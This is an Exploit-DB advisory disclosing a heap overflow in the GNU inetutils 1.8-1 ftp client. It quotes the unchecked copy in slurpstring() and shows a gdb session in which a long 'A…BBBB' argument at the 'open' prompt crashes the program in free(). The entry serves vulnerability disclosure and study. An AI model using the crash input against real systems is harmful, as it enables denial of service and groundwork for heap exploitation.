Exploit-DB #15705
Description: GNU InetUtils 1.8-1 - FTP Client Heap Overflow
Type: dos
Platform: linux
Date: 2010-12-07
Author: Rew

Exploit:
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Title: GNU inetutils 1.8-1 ftp client Heap Overflow
Date: Dec 07 2010
Author: Rew
Software Link: http://ftp.gnu.org/gnu/inetutils/inetutils-1.8.tar.gz
Version: 1.8-1
Tested on: Arch Linux (up to date)
CVE: NA (0day)

===========================================================================

Here's a cute little bug just for kicks.  This is only triggerable by
the local user, so exploitation would get you absolutely nowhere, but
meh :P

GNU inetutils ftp (shipped with linux and other *nix's) suffers a heap
overflow while parsing command arguments (but ONLY when the argument is
NOT passed on the same line.) If you run any command (open, user, cd,
mkdir, etc) without an argument, ftp will prompt you for an argument
with readline().  It will then copy this input into a 200 byte buffer
without first checking it's length.  NOTE: Some distros might modify
this binary.  It didn't seem to work on the default Mint ftp client
(maybe a Ubuntu thing?) but the default Arch binary is vulnerable.  Your
results may vary.  Download from GNU if you have doubts.

- --- ftp/main.c:slurpstring() ---

406: char *sb = stringbase;     <--- This is our input. (can be massive)
407: char *ap = argbase;        <--- This buffer is 200 bytes.

458: S1:

463: case '\0':
464:  goto OUT;

474: default:
475:  *ap++ = *sb++;		<--- Heap overflow
476:  got_one = 1;
477:  goto S1;
478: }

- --------------------------------

backtrace at overflow:
main()->cmdscanner()->cd()->another()->makeargv()->slurpstring()

The segfault below occurs later, when free() is called on an overwritten
pointer @ 684 bytes.

===========================================================================

rew@WOPR ~ $ pacman -Q inetutils
inetutils 1.8-1

rew@WOPR ~ $ gdb ftp
GNU gdb (GDB) 7.2
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
<http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu".
Reading symbols from /usr/bin/ftp...(no debugging symbols found)...done.

(gdb) run
Starting program: /usr/bin/ftp
ftp> open
(to) AAAAAAAA ... [x684] ... AAAAAAAABBBB
usage: open host-name [port]

Program received signal SIGSEGV, Segmentation fault.
0xb7eb8dc1 in free () from /lib/libc.so.6
(gdb) i r
eax            0x0	0
ecx            0x1	1
edx            0x42[PII_REDACTED]638329
ebx            0xb7f8fff4	[PII_REDACTED]
esp            0xbffff818	0xbffff818
ebp            0xbffff828	0xbffff828
esi            0x8[PII_REDACTED]28632
edi            0x8064be0	134630368
eip            0xb7eb8dc1	0xb7eb8dc1 <free+49>
eflags         0x210216	[ PF AF IF RF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

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